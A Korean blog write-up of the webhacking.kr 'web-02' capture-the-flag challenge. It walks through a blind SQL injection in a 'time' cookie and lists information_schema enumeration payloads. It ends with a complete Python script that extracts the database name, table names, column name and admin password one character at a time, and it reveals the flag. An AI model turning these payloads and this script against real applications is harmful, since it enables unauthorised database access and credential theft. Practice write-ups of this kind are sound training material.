처음 보면 뭐 페이지에 별 내용이 없다.

 

소스보기를 보면 다음과 같다.

 

주석값에 시간값이 있고, admin.php가 있음을 암시한다.

admin.php에는 별 내용이 없다. 패스워드를 치는게 있을 뿐

 

쿠키값을 보면 처음 보면 뭐 페이지에 별 내용이 없다.

 

소스보기를 보면 다음과 같다.

 

 

쿠키값을 보면 time이라는 값이 있다.

 

혹시나 하는 마음에 time에 1571059569 and 1=1와 같이 보내보니,

2070-01-01 09:00:01이 나타난다.

 

그러면 and 1=2라고 보내보자.

 

 

이제는 09:00:00이라고 나타난다.

 

쿠키 time값을 이용한 Blind sqli로 추정. True값이 09:00:01이고 False값이 09:00:00인 것으로 보인다.

 

대충 쿼리가 SELECT FROM_UNIXTIME({내가 보낸 쿠키 time 값}) 과 같은 방식일 것으로 예상된다.

 

 

일단 DB명도 모르기 때문에, information_schema로 찾아때려야 하는데, 

 

select FROM_UNIXTIME(157102695 and IF((select LENGTH(table_schema) from information_schema.tables group by table_schema limit 7,1) > 0,1,0))

 

대충 요런 식으로 db개수를 알아내보자. 마지막에 limit으로 확인을 할 수 있다.

 

limit 1,1까지는 true가 나오고, limit 2,1부터는 false가 나온다.

 

즉 db개수는 2개이다.

 

그리고 첫번째 db의 이름의 길이는 6이다.

두번째 db길이는 18인걸로 봐서는 information_schema인듯

 

select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1

 

1번째 디비 이름의 3번째 글자 아스키값 리턴을 하는 쿼리이다.

 

이런식으로 글자 하나하나씩 알아내어 db이름을 알아낼 수가 있다.

 

select FROM_UNIXTIME(157102695 and IF((select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1) > 102,1,0))

 

위 쿼리는 1번째 디비 3번째 아스키값은 102보다 크다? 라는 쿼리이다.

 

쿼리로 알아내면 db 이름은 chall2이다.

 

 

이제 테이블 명을 알아내야하는데,

 

select if((select length(table_name) from information_schema.tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0)

 

여기에 if구문 앞에 and만 붙여서 쿼리로 넣으면 된다. 마지막 limit뒤에 0 숫자를 바꿔서 테이블 개수를 알아낼수가 있다.

 

chall2의 테이블의 개수는 2개이다.

 

이제 테이블 이름의 길이와 이름을 알아내야 한다.... 노가다!!

 

select FROM_UNIXTIME(157102695 and if((select length(table_name) from tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0))

 

첫번째 테이블의 이름은 길이가 13이다.

두번째 테이블의 이름은 길이가 3이다.

 

이제 한땀한땀 글자를 알아내야한다.

 

첫 테이블이름은 admin_area_pw

두번째는 log이다.

 

admin_area_pw의 컬럼은 1개뿐이다. 컬럼 길이는 2이다.

컬럼 이름은 pw이다.

 

pw의 row값은 길이가 17이다.

 

마지막으로 pw의 값 또한 위에서 db이름과 테이블 이름을 알아낸것 처럼 한땀 한땀 blind sqli로 알아내면 된다.

 

#!/usr/bin/env python

import urllib2
import urllib

url = "https://webhacking.kr/challenge/web-02/"
cookie = "PHPSESSID=j1gqc4lopk8ge3331ehiq9shhf; time=1571026965 "

ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"

truePhrase = "2070-01-01 09:00:01"

def query(payload):
    ccookie = cookie + urllib2.quote(payload)
    req = urllib2.Request(url)
    req.add_header('cookie', ccookie)
    req.add_header("User-Agent", ua)
    res = urllib2.urlopen(req)

    content = res.read()
    # print ccookie
    # print content
    return truePhrase in content


def find_db_name_len(db_index):
    left = 0
    right = 200
    # range (left, right]
    while left + 1 < right:
        mid = (left+right)//2
        print "{}, {}, {}".format(left, mid, right)
        payload = "and if((select length(table_schema) from information_schema.tables group by table_schema limit {},1) > {}, 1, 0)".format(db_index, mid)
        if query(payload):
            left = mid
        else:
            right = mid
    return right

def find_db_name(db_index):
    if db_index == 1:
        return "chall2"
    # db_name_len = find_db_name_len(db_index)
    db_name_len = 6
    db_name = ""
    for pos in range(1, db_name_len+1):

        left = 0 
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            print "{}, {}, {}".format(left, mid, right)
            payload = "and if((select ascii(substr(table_schema,{},1)) from information_schema.tables group by table_schema limit {},1)>{},1,0)".format(pos, db_index, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        db_name += chr(right)
    return db_name

# print find_db_name(0)

def find_table_name_length(db_name, table_index):
    left = 0
    right = 200
    while left + 1 < right:
        mid = (left+right)//2
        payload = "and if((select length(table_name) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(db_name, table_index, mid)
        if query(payload):
            left = mid
        else:
            right = mid
    return right

# print find_table_name_length('chall2', 0)
# print find_table_name_length('chall2', 1)

def find_table_name(db_name, table_index):
    table_name_len = find_table_name_length(db_name, table_index)
    table_name = ""
    for pos in range(1, table_name_len + 1):
        left = 0
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(pos, db_name, table_index, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        table_name += chr(right)
    return table_name
# print find_table_name('chall2', 0)
# print find_table_name('chall2', 1)

def find_column_name(db_name, table_name):
    col_name = ""
    for pos in range(1, 3):
        left = 0
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' group by column_name limit 0,1)>{},1,0)".format(pos, db_name, table_name, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        col_name += chr(right)
    return col_name

def find_pw():
    pw = ""
    for pos in range(1, 18):
        left = 0
        right =200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(pw,{},1)) from chall2.admin_area_pw limit 1, 1)>{},1,0)".format(pos,mid)
            if query(payload):
                left = mid
            else:
                right = mid
        pw += chr(right)
        print chr(right)
    return pw

# print find_column_name("chall2", "admin_area_pw")
print find_pw()

 

최종 플래그는 kudos_to_beistlab이 된다.

 

이를 admin.php에 입력하면 플래그 인증이 된다.

 

+ Recent posts